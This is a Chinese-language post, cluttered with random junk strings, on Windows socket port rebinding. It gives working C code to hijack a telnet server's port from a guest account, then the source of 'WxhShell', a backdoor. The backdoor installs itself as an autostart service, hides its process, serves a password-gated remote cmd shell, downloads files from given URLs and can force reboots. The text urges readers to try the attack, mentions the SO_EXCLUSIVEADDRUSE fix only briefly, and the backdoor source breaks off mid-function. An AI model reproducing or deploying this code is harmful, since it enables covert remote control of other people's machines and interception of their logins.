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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7Bz*r0 9S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] c}91 gJ3c; saddr.sin_family = AF_INET; N;HIsOT}t 9.M{M06; saddr.sin_addr.s_addr = htonl(INADDR_ANY); O\OE0 [[ {SG>'KXZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -s__E +`bC%\T8? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U3#dT2U b
X)|MiWI 这意味着什么?意味着可以进行如下的攻击: $v}<' Ulqh@CE) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $_j1kx$ y/_wx(2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vt]F U< oP,9#FC|( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GlR~%q-jiQ rUwE?Ekn/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 o*ANi;1]&B 6ri#Lw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8
#oR/Nt ?\H.S9CZ^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $zkH|]
zZ
ErbSl 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,#'7)M D8 8*!|8 BPj^ #include m-1?\bs #include _MYx%Z #include ;?IT)sNY #include *+lsZ8'^C DWORD WINAPI ClientThread(LPVOID lpParam); gs`^~iD]m int main() ~%y\@x7I { Pg^h,2h WORD wVersionRequested; }X$l\pm DWORD ret; h(xP_Svj> WSADATA wsaData; [@{0o+.]'H BOOL val; oEzDMImJ5 SOCKADDR_IN saddr; e ^e$mtI SOCKADDR_IN scaddr; zp=!8Av int err; }++5_Z_ SOCKET s; h8^i\j SOCKET sc; K5 vNhA int caddsize; -S; &Q'Mt HANDLE mt; <fM>Yi5 DWORD tid; 9Z!lmfnJ wVersionRequested = MAKEWORD( 2, 2 ); @?2n]n6 err = WSAStartup( wVersionRequested, &wsaData ); g0#q"v55 if ( err != 0 ) { )&Z>@S^ printf("error!WSAStartup failed!\n"); z] @W[MHY return -1; G%w_CMfH } rm+v(& saddr.sin_family = AF_INET; EI`vVI 3-Y=EH_0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d><fu]' W7!.#b(hU saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eihZp saddr.sin_port = htons(23); kl{6]39 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (zah890// { Uu2N9.5 printf("error!socket failed!\n"); ha'qIT3& return -1; 3sC:jIp } kfpm=dKL val = TRUE; %yw=[]Vjze //SO_REUSEADDR选项就是可以实现端口重绑定的 ^!@*P,'I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]Ti $ztJ { cS~!8`Fwy printf("error!setsockopt failed!\n"); _Y
YP4lEL return -1; 1=TSJ2{9 } MTB@CP!u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ATO
5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nGZ\<- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z>{*ISvpq x*mc - &N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )y\BY8 { ib50LCm ret=GetLastError(); 3}M\c) printf("error!bind failed!\n"); 0_V*B[V return -1; 75(W(V(q } iwz`
x listen(s,2); }=pOiILvD while(1) QV)}3pW { Gm@iV,F%R caddsize = sizeof(scaddr); T{ nQjYb? //接受连接请求 wG:$6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e 2*F;.) if(sc!=INVALID_SOCKET) LV=^jsQ5 { -R@JIe_28f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DB Xm if(mt==NULL) M7U:g} { 1E^{B8cm printf("Thread Creat Failed!\n"); x(yX0 ,P/7 break; n` #+L~X } z\h,SX<U } W%zmD Hk~ CloseHandle(mt); qj;l,Kua } {3SdX closesocket(s); {fElto
WSACleanup(); )v-Cj_W5]" return 0; x#o?>5Qg? } ;E2~L DWORD WINAPI ClientThread(LPVOID lpParam) P7Z<0Dt\} { T:)% P6/ SOCKET ss = (SOCKET)lpParam; ._K$0U! SOCKET sc; hwZ6. unsigned char buf[4096]; 5^o3y.J?P SOCKADDR_IN saddr; )ys=+Pz long num; p9w%kM? DWORD val; _}z_yu#jY DWORD ret; %30T{n: //如果是隐藏端口应用的话,可以在此处加一些判断 I W8. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 g?$e^ls saddr.sin_family = AF_INET; z-)*Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P[1m0!,B saddr.sin_port = htons(23); 8 +L7E- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z3I L8 { xK=J.>h3 printf("error!socket failed!\n"); IPkA7VhFF return -1; ~e+0c'n\ } IF$^0q val = 100; q'fPNQg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kd
TE{].d { ][rTQt m ret = GetLastError(); Cl-S=q@>V return -1; tbRE/L< } SDJ;*s- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eTT^KqE>& { $ #t|(\ ret = GetLastError(); XzN-slu! return -1; xf[zE Et } 6HB]T)n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JYl\<Z' { { ,Os7T 1> printf("error!socket connect failed!\n"); 9DY|Sa]#= closesocket(sc); f^ywW[dF closesocket(ss); AE]i
V {p return -1; {4o\S } dqL-' while(1) KWtu,~O_u { Sn+FV+D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }^IwQm*i //如果是嗅探内容的话,可以再此处进行内容分析和记录 f>?^uSpWH //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q!9^#c num = recv(ss,buf,4096,0); @OBHAoz%/ if(num>0) J]$er0`LY send(sc,buf,num,0); )Xq@v']%~9 else if(num==0) x$*E\/zi<! break; 91U^o8y num = recv(sc,buf,4096,0); /kAwe *) if(num>0) BQ5_s,VM send(ss,buf,num,0); b-,]A2. else if(num==0) 1mY+0 break; 0I(uddG3 } W{L closesocket(ss); ;`;G/1]#9 closesocket(sc); Z={D0` return 0 ; mL8A2>Gig } >~.Zr3P6kC ?,D>+:: .A )\F ",X ========================================================== :~WPY9i` ],H1 下边附上一个代码,,WXhSHELL NW}>pb9 #>MO] ========================================================== **Qe`}E: wBg<Q{J #include "stdafx.h" M-}j9,oR` 7W6eiUI' #include <stdio.h> 3"HGEUqA #include <string.h> D)f5pEq' #include <windows.h> MT;SRAmUr #include <winsock2.h> %"1`
NT #include <winsvc.h> bnAT,v{ #include <urlmon.h> `wP/Zp{Hy <Gb nPG? #pragma comment (lib, "Ws2_32.lib") W?SP .-I #pragma comment (lib, "urlmon.lib") HGU?bJ~6o iMP*]K-O #define MAX_USER 100 // 最大客户端连接数 |LX rGyk^ #define BUF_SOCK 200 // sock buffer T][-'0! #define KEY_BUFF 255 // 输入 buffer bbE bf !E KyuA5jQ7 #define REBOOT 0 // 重启 4.,KEt'H #define SHUTDOWN 1 // 关机 <K=@-4/Bp Eqz4{\
#define DEF_PORT 5000 // 监听端口 e6tH/`Uln N*_/@qM> a #define REG_LEN 16 // 注册表键长度 z Y$X|=f #define SVC_LEN 80 // NT服务名长度 HA$^ *qn zz7Y/653 // 从dll定义API 4iYgs-, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |@T5$Xg]5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o(B<!ji~' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J=f:\]@Oy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v_?s1+w {bAWc. // wxhshell配置信息 NB|RZf9M struct WSCFG { 0A)
Vtj$ int ws_port; // 监听端口 Yio>ft&g] char ws_passstr[REG_LEN]; // 口令 xI/{)I1f int ws_autoins; // 安装标记, 1=yes 0=no zbF:R[) char ws_regname[REG_LEN]; // 注册表键名 m;;0 Cl char ws_svcname[REG_LEN]; // 服务名 4jC4X* char ws_svcdisp[SVC_LEN]; // 服务显示名 >%PL_<Vbv char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~zXG<}n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [4K9|/J int ws_downexe; // 下载执行标记, 1=yes 0=no 7yq7a[Ra char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" LUe>)eqw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~!a~C~_ 2b6? 9FX* }; ``2QOu 1 _IQU<Za // default Wxhshell configuration i6!T`Kau struct WSCFG wscfg={DEF_PORT, @%I_&!d "xuhuanlingzhe", >?\v@ 1, $UFge%`,q@ "Wxhshell",
EI?d(K "Wxhshell", X/-
W8 "WxhShell Service", fD3jwPL "Wrsky Windows CmdShell Service", yr/]xc$ "Please Input Your Password: ", vp )}/&/ 1, Y|GJph " http://www.wrsky.com/wxhshell.exe", |Ak =-. "Wxhshell.exe" 4~m.#6MT }; /pAm8vK J1gEjd // 消息定义模块 %2rHvF= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :{TmR3. char *msg_ws_prompt="\n\r? for help\n\r#>"; lRa
3v Ng char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; c&| '3i+ char *msg_ws_ext="\n\rExit."; Ef,7zKG char *msg_ws_end="\n\rQuit."; +q`rz char *msg_ws_boot="\n\rReboot..."; %-1BA*J`| char *msg_ws_poff="\n\rShutdown..."; L5V'Sr char *msg_ws_down="\n\rSave to "; A4 A6F< ] dm1Qm char *msg_ws_err="\n\rErr!"; EMVoTW)z char *msg_ws_ok="\n\rOK!"; Q+u#?[' k *G!. char ExeFile[MAX_PATH]; ]2aYi9) int nUser = 0; `Q1WVd29 HANDLE handles[MAX_USER]; &.+n
L
int OsIsNt; s{1Deek= Th&Wq SERVICE_STATUS serviceStatus; DJD ]aI SERVICE_STATUS_HANDLE hServiceStatusHandle; V#-qKV 5 CY_Ay\ // 函数声明 P*0nT int Install(void); z'\}/k+ int Uninstall(void); [0tfY0 int DownloadFile(char *sURL, SOCKET wsh); m>*A0&??[ int Boot(int flag); E.H,1 { void HideProc(void); .@8m\ int GetOsVer(void); %X0NHta~@ int Wxhshell(SOCKET wsl);
Z}'F"}QI void TalkWithClient(void *cs); 1{hoO<CJ int CmdShell(SOCKET sock); 90y9~.v int StartFromService(void); p^4;fD int StartWxhshell(LPSTR lpCmdLine); @qO8Jg"Q #pDGaqeX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n}9Msen VOID WINAPI NTServiceHandler( DWORD fdwControl ); t=E|RYC(k !CVBG*E^l // 数据结构和表定义 5E\<r/FeJ SERVICE_TABLE_ENTRY DispatchTable[] = Jm);|#y { /BjGAa( {wscfg.ws_svcname, NTServiceMain}, |=^#d\?]j {NULL, NULL} *Sz{DE1U }; @
(u?=x; \:q e3Q // 自我安装 ~J. Fl[ int Install(void) VkN[=0a, { Tk v char svExeFile[MAX_PATH]; }{kTh%^ HKEY key; aaqd:N) strcpy(svExeFile,ExeFile); O{i_?V_ &JXHDpd$a^ // 如果是win9x系统,修改注册表设为自启动 U>plv if(!OsIsNt) { Z$#ZYD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g+KzlS[6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rbj+P;t& RegCloseKey(key); Kt4\&l-De if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CyK$XDHa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w
/W
Cj4` RegCloseKey(key); +/b4@B7 return 0; A9qO2kq7_ } Y)4Nydq } {Hp}F!X$ } NBg>i7KQ else { -t~B@% 8SCW.;0 // 如果是NT以上系统,安装为系统服务 <Z_wDK/UR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hdq/E>u if (schSCManager!=0) U@v8H!p^i { ev: !,}]w SC_HANDLE schService = CreateService ,~j$rs`Z ( Q~w G(0'8 schSCManager, <v7KE*# wscfg.ws_svcname, q@MjeGs% wscfg.ws_svcdisp, .e
_D3Xp< SERVICE_ALL_ACCESS, 4QKE{0NE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @;T#+! SERVICE_AUTO_START, ~4 ~Tcn SERVICE_ERROR_NORMAL, \'LC C- svExeFile, 4 _U,-%/ NULL, I_6` Z 0 NULL, H;t8(-F@' NULL, 't]EkH]BC NULL, d a?th NULL o4[2`mT ); :{xN33@6\X if (schService!=0) \2<yZCn { mN'9|`>V> CloseServiceHandle(schService); HsgTHe CloseServiceHandle(schSCManager); ^9*|_\3N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9-E>n) strcat(svExeFile,wscfg.ws_svcname); UQf>5g if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QV
H'06"{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *UL|{_)c RegCloseKey(key); ^qus `6 return 0; ?n9$,-^v } ma-Y' } pTX'5 CloseServiceHandle(schSCManager); ZesD( } >'|xQjLl } yxP ?O@( BL5 return 1; 5WNg+ } Tvx8l
m' (&]15 FJ$1 // 自我卸载 &G,o guo int Uninstall(void) {5tEsv { / ?[gB:s HKEY key; wCTR-pL^ ^)IL<S&h if(!OsIsNt) { ; ?lM|kK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F",abp! RegDeleteValue(key,wscfg.ws_regname); 7fzyD RegCloseKey(key); oJ@PJvmR&a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 EuJ RegDeleteValue(key,wscfg.ws_regname); 8Y0<lfG RegCloseKey(key); IV)W|/. return 0; 5Kw?SRFH/ } OO
wA{]gK } m',_kY3
} |p4OlUq else { 8`~3MsE" @1ta`7# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .9fluAG if (schSCManager!=0) 4e#K.HU_ { }NBJ T4R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IK? $!jh if (schService!=0) UlN|Oy, { B*iz+"H if(DeleteService(schService)!=0) { Isgk CloseServiceHandle(schService); *pC-`k CloseServiceHandle(schSCManager); Rw{v"n return 0; ~M^7qO } K
y4y CloseServiceHandle(schService); 'MQGR@* } GK+\-U)v CloseServiceHandle(schSCManager); -Us% g } U?^|>cMr } P_g0G#`4 T\s#-f[x return 1; ;yER
V } ^-;Z8M }7z+ // 从指定url下载文件 $)7f%II int DownloadFile(char *sURL, SOCKET wsh) h-rj { 5'-9?-S" HRESULT hr; I2lZ>3X{ char seps[]= "/"; P~ZV:Of char *token; ~ kJpB t7M char *file; wXZY5-h4 char myURL[MAX_PATH]; KC-aLq/ char myFILE[MAX_PATH]; kGq f@
I+ WI!z92qq[ strcpy(myURL,sURL); [k=9 +0p token=strtok(myURL,seps); }Z?[Ut while(token!=NULL) (l_de)N7 { [}>6n72gNh file=token; VdOd:w token=strtok(NULL,seps); $q$\GOQ 9 } >~>[}d;glw +sl uu!~ GetCurrentDirectory(MAX_PATH,myFILE); RR[TW; strcat(myFILE, "\\"); X$&Sw3c strcat(myFILE, file); *B<I> <'G send(wsh,myFILE,strlen(myFILE),0); ~+nSI-L send(wsh,"...",3,0); *3
8Y;{ 4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |#jm=rT0y if(hr==S_OK) a4.:
i return 0; KdpJ[[Ug/ else ZL@DD(S-/ return 1; \ g(#)f ye7&y4v+ } N,,2VSUr <_q/ +x]8 // 系统电源模块 ;f^jB;\< int Boot(int flag) =<h=">}5' { Xgc\O08 HANDLE hToken; mT~>4xi0 TOKEN_PRIVILEGES tkp; 5nq-b@?L UnF4RF:A2& if(OsIsNt) { VEEeQy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {-`OE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /)4r2 x tkp.PrivilegeCount = 1; )tch>.EQ_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0i`Zy! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +5mkMZ if(flag==REBOOT) { CscJy0dB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /=(FM return 0; t6e-~ } v~cW:I else { (4{9
QO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FN`kSTm*0! return 0; 1CVaGD^r{ } r3vj o( } XRz6Yf(/ else { ^ 6|"=+cO\ if(flag==REBOOT) { hD"~
^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SZD2'UaG return 0; 1AV1W_" } ^v5hr>m else { r8>?-P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '="){ return 0; 1H
6Wrik } kDa#yN\ } +r P<m :8wF0n-' return 1; !`=?<Fl } 6e|5qKr $*-L8An? // win9x进程隐藏模块 :P"Gym void HideProc(void) rO%+)M$A { G_mu7w }PL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tic9ri if ( hKernel != NULL ) X6'&X { J vsB^F.4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]m>MB )9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N<(`+? FreeLibrary(hKernel); Y,\mrW}K } BniVZCct {~h\;> return; W)hby`k } K(<P" g( #7ZBbq3= // 获取操作系统版本 /n:fxdhe int GetOsVer(void) rNC3h"i\ { ra2q. H OSVERSIONINFO winfo; )ix E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nq6CvDXi GetVersionEx(&winfo); 7~f6j:{|z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /U]5#'i return 1; dD<kNa}2 else IpmREl$j return 0; h8Si,W3o } >GUTno$J >@uYleD( // 客户端句柄模块 ]#.# ]}= int Wxhshell(SOCKET wsl) B4ze$# { n#/m7 SOCKET wsh; { rn~D5R struct sockaddr_in client; 3R.cj DWORD myID; fBOG#-a} P'~3WL4MKs while(nUser<MAX_USER) {HnOUc\4 { o]U== int nSize=sizeof(client); 7SZs/wWh% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z\
pT+9& if(wsh==INVALID_SOCKET) return 1; Y%@'a~ \YS\*'F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @CDRbXoFk if(handles[nUser]==0) i`L66uV closesocket(wsh); gHshG;z* else [?*^&[ nUser++;
GXVGU-br } U$bM:d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )wd~639U +ETw:i9!? return 0; |-D. } N2J!7uoQ =x>k:l~s // 关闭 socket a@J:*W void CloseIt(SOCKET wsh) B.#0kjA} { Z5A<TC/: closesocket(wsh); w2[R&hJ nUser--; .`XA6e(8KR ExitThread(0); $@;[K\ } Q pq0j^\ {*9i}w|2 // 客户端请求句柄 ?]N&H90^5 void TalkWithClient(void *cs) Q-5wI$= { bmpB$@ e:
tp7w 4 SOCKET wsh=(SOCKET)cs; Q2JjBV< char pwd[SVC_LEN]; a mgex$ char cmd[KEY_BUFF]; ^pa).B.`T char chr[1]; l/LUwDI{ int i,j; ;@hP*7Lm r1]^#&V;MC while (nUser < MAX_USER) { |0-L08DW H l@rS if(wscfg.ws_passstr) { b}*hodzF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f *vziC<m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LBB[aF,Lr //ZeroMemory(pwd,KEY_BUFF); bT}WJ2} i=0; LlJvuQ 28 while(i<SVC_LEN) { yK^k*)2N z16++LKmM // 设置超时 [f}1wZ* fd_set FdRead; 04t_ struct timeval TimeOut; [&:oS35O FD_ZERO(&FdRead); n>UvRn.7kz FD_SET(wsh,&FdRead); 7Wu2gky3 TimeOut.tv_sec=8; jBbc$|O4SY TimeOut.tv_usec=0; \
PqV| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B?'ti{p
A9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RJSgts "F IYPLitT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sJWwkR pwd =chr[0]; v5o%y:~ if(chr[0]==0xd || chr[0]==0xa) { RP9||PFS~~ pwd=0; VrK 5a9*^ break; I_rVeMw= } >smaR^m i++; (
9l|^w[" } {PKER$C q8J/tw?%v // 如果是非法用户,关闭 socket A5b}G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <PxEl4 } ITV}f# gNeCnf#Xa send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~nQb;Bdh% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a4yU[KK 7vFqO; while(1) { ?kSs7e> )r~Oj3TH ZeroMemory(cmd,KEY_BUFF); xjYFTb}! ;z68`P- // 自动支持客户端 telnet标准 *))|ZE6jI j=0; M<nn+vy` while(j<KEY_BUFF) { ~xCy(dL^} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I(.XK ucU cmd[j]=chr[0]; sAb|]Q(( if(chr[0]==0xa || chr[0]==0xd) { H;6V cmd[j]=0; :vj buqN] break; {~SR>I3sv } y[cAU:P? j++; >7|37a } kL-+V)Kl -Da_#_F // 下载文件 Sv ,_G' if(strstr(cmd,"http://")) { n!p&.Mt send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?S_S.Bd if(DownloadFile(cmd,wsh)) R~i<* send(wsh,msg_ws_err,strlen(msg_ws_err),0); <+a\'X c else e/6oC~#] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JF7T1T } -[ =`bHo else { X:A\{^~ >nxtQ switch(cmd[0]) { d={}a,3? 8HzEH-J
// 帮助 aF:I]]TfK~ case '?': { 1\McsX4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G9
!1Wzs break; }7V/(K } z)26Ahm TV // 安装 o|+tRl case 'i': { F~B8XUa3 if(Install()) _
|; bh send(wsh,msg_ws_err,strlen(msg_ws_err),0); nT>?}/S else Oj:`r*z43 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lv_>cFJ}[ break; 46vz=# ,6L } >g?,BK@ // 卸载 u1uY*p case 'r': { K"pfp !Y if(Uninstall()) WIg"m[aIs send(wsh,msg_ws_err,strlen(msg_ws_err),0); NS1[-ng else ,MLPVDN*D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
G~JQcJFj break; loZfzN&6A } T<OLfuV // 显示 wxhshell 所在路径
>4Lb+] case 'p': { V{n pK( char svExeFile[MAX_PATH]; ?$
3=m)s strcpy(svExeFile,"\n\r"); b7$?'neH/. strcat(svExeFile,ExeFile); CB~&!MdMr send(wsh,svExeFile,strlen(svExeFile),0); Bpgl
U=Qr break; ,YoIn } T:si?7CR // 重启 0<Y)yNsV case 'b': { +,smjg:O send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xZkLN5I{ if(Boot(REBOOT)) b;yhgdFx send(wsh,msg_ws_err,strlen(msg_ws_err),0); "0
v]O~s else { u@o3p*bQ closesocket(wsh); fROhn}<**[ ExitThread(0); |$D^LY } 1}(g=S break; -Xj+7}4 } *mYec~ // 关机 eq"~by[Uq case 'd': { S\C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A%9"7]:
if(Boot(SHUTDOWN)) 6)TFb, send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3jx{BXs2 else { A81kb closesocket(wsh); xTe?* ExitThread(0); OvFZ&S[ } O6`@'N>6P break; '\9A78NV{; } )wKuumet // 获取shell TPkm~>zD. case 's': { nI6`/ CmdShell(wsh); ^,?]]=mE closesocket(wsh); [P[syi#]t ExitThread(0); +%FGti$[ break; lVqvS/_k$ } sl)_HA7G // 退出 0n1y$*I4 case 'x': { uy B
?-Y+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tj.;\a|d CloseIt(wsh); BqR8%F break; a/?gp>M9 } <uA|nYpp // 离开 Z!#zr@'k case 'q': { d/;oNC+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Npz
{C{I closesocket(wsh); 39u!j|VH WSACleanup(); u tQ_!3u exit(1); s,0,w--= break; e'u9 SpJ } TIS}'c'C } w{0UA6 + } ;VvqKyUh7` #j@Su )+ // 提示信息 0|d%@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qwnC{ } 9#1lxT4% } cP(/+
/9 BM:je(*p return; o\2#o5# } Fm*O&6W\@A s7=]!7QGS! // shell模块句柄 -FJ5N}R int CmdShell(SOCKET sock) 65MR(+3 { {+Eq{8m` STARTUPINFO si; NC0x!tJ#7 ZeroMemory(&si,sizeof(si)); bGDV9su si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x3)qK6,\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hMi[MB7~ PROCESS_INFORMATION ProcessInfo; xHI>CNC, char cmdline[]="cmd"; D7 .R
NXo CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @v |_APy# return 0; YT#"HYO } VN*^pAzlF #SQFI;zj // 自身启动模式 w(s"r p} int StartFromService(void) 3pm;?6i6 { sHKT]^7 typedef struct r lW { )V+;7j<"D DWORD ExitStatus; ]_j{b)t DWORD PebBaseAddress; j5tA!o DWORD AffinityMask; 5&6S["lt DWORD BasePriority; kIM* K%L} ULONG UniqueProcessId; voCQ_~*)9 ULONG InheritedFromUniqueProcessId; DN!:Rm uc } PROCESS_BASIC_INFORMATION; oc>,5 x ?/NxZ\ PROCNTQSIP NtQueryInformationProcess; '%kk&&3' RBiDU}j static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a&|aK+^8; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6EJ,czt( Q;SMwCB0M HANDLE hProcess; HJM- ;C]( PROCESS_BASIC_INFORMATION pbi; Vhv<w
